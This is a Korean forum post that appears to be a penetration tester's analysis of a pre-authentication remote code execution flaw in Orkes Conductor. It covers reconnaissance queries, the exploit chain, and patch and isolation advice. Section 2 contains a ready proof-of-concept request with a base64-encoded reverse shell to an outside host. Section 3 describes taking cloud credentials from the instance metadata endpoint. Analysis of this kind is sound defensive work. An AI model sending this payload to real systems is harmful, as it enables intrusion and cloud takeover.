[기술분석] Orkes Conductor Pre-Auth RCE (CVE-2026-58138) 공격 벡터 및 익스플로잇 체인 분석

윤하늘 윤하늘 · 2026-09-20 07:32 · 조회 98

안녕하세요, Hackerstory 침투테스터 윤하늘입니다.

최근 야생(In-the-wild)에서 활발히 악용되고 있는 **Orkes Conductor 워크플로우 플랫폼의 Pre-Auth RCE 취약점(CVE-2026-58138)**에 대해 공격 벡터와 실제 익스플로잇 가능성 관점에서 분석한 내용을 공유합니다.

오케스트레이션 및 워크플로우 엔진 특성상 internal 인프라 깊숙이 연결되어 있는 경우가 많아, Initial Access 확보 후 내부망 가로지르기(Lateral Movement)에 매우 최적화된 공격 표적입니다.


1. 취약점 개요

  • CVE ID: CVE-2026-58138
  • CVSS Score: 9.8 (CVSS v3.1) / 9.3 (CVSS v4.0)
  • 취약점 유형: Pre-Authentication Remote Code Execution (인증 미가희 원격 코드 실행)
  • 영향 받는 버전: Orkes Conductor 3.21.21 미만 버전

Orkes Conductor는 Netflix Conductor를 기반으로 구축된 엔터프라이즈급 오케스트레이션 엔진입니다. 이번 취약점은 별도의 인증 절차 없이 외부에서 노출된 엔드포인트에 특수 제작된 요청을 전송함으로써 서버 권한으로 임의의 명령어를 실행시킬 수 있는 치명적인 이슈입니다.


2. 공격 벡터 및 기술적 상세 분석

침투 테스터 입장에서 본 이 취약점의 핵심 공격 흐름은 다음과 같습니다.

A. 타겟 식별 (Reconnaissance)

Orkes Conductor 서버는 기본적으로 API 서버와 UI 엔드포인트를 노출합니다.

  • Shodan / Censys 쿼리 예시: http.title:"Orkes Conductor" 또는 특정 Swagger/OpenAPI 엔드포인트( /api/wflow 등) 식별.
  • 인증 패널 전면에 노출된 REST API 엔드포인트 중 검증이 누락된 핸들러가 주 공격 대상이 됩니다.

B. 익스플로잇 체인 (Exploit Mechanism)

  1. 인증 우회 (Authentication Bypass / Unauth Endpoint): API 엔드포인트 라우팅 시 스프링 보안 설정(Spring Security) 또는 커스텀 인터셉터에서 특정 워크플로우 실행/검증 API가 인증 예외 처리 되어 있음.
  2. 역직렬화 또는 템플릿 인젝션 (Payload Injection):
    • 워크플로우 정의(Task Definition) 또는 동적 스크립트 실행(Groovy / Nashorn / SpEL 등) 입력값 처리 과정에서 사용자 입력값 검증 부재.
    • 공격자는 인증 없이 POST 요청으로 악성 Task/Script 정의를 포함한 페이로드를 전달.
  3. Remote Code Execution (RCE):
    • 워크플로우 엔진이 수신된 정의를 파싱 및 실행하는 단계에서 OS 명령어가 셸 환경(java.lang.Runtime.getRuntime().exec())을 통해 즉시 수행됨.
POST /api/workflow/execute/unsafe-task HTTP/1.1
Host: target-conductor.internal:8080
Content-Type: application/json

{
  "name": "malicious_task",
  "taskType": "DYNAMIC",
  "inputParameters": {
    "script": "java.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}');"
  }
}

3. 익스플로잇 가능성 평가 (Pentesters' Perspective)

  • 무인증 원격 실행: 별도의 계정 정보(Credentials)를 수집할 필요가 없으므로 Initial Access 단계에서 최상의 공격 벡터입니다.
  • 높은 권한 연쇄(Privilege Escalation): Conductor 프로세스는 내부 Microservice(Kubernetes Pod, AWS ECS 등)와 통신하기 위해 높은 AWS IAM Role이나 ServiceAccount 토큰을 탑재하고 있는 경우가 많습니다. RCE 성공 시 169.254.169.254 (IMDSv2) 조회를 통해 클라우드 인프라 전체 통제권을 탈취할 가능성이 매우 높습니다.
  • 무기화(Weaponization) 용이성: HTTP REST API 요청 단순 구성만으로 실행되므로 스크립트화가 매우 쉽습니다.

4. 관련 오픈소스 레포지토리 및 코드 참조

Conductor의 원본 오픈소스 코드베이스 및 커뮤니티 익스플로잇/연구 소스는 아래 깃허브 링크에서 확인할 수 있습니다.

(참고: 공식 패치 내역 및 커밋 디프(Diff)를 분석해보면, REST Controller 단의 @PreAuthorize 누락 및 Expression Language 파싱 로직의 필터링이 강화된 것을 확인할 수 있습니다.)


5. 대응 방안 및 결론

현재 이 취약점은 실제 악용 시도가 확인된 상태입니다.

  1. 최신 버전 패치: Orkes Conductor 3.21.21 이상 버전으로 즉시 업그레이드가 필요합니다.
  2. 네트워크 격리: Conductor 관리 및 API 엔드포인트를 인터넷에 직접 노출하지 않고 VPN 또는 Bastion 환경 내부로 격리해야 합니다.
  3. Egress 필터링: 타겟 컨테이너/서버에서 외부로의 불필요한 아웃바운드 커넥션을 차단하여 Reverse Shell 연결을 방지합니다.

인프라 내에 Conductor 솔루션을 사용 중이라면, 침투 테스트 및 모의침투 관점에서도 우선적으로 점검해볼 것을 권장합니다.

댓글 0

로그인하면 댓글을 작성할 수 있습니다.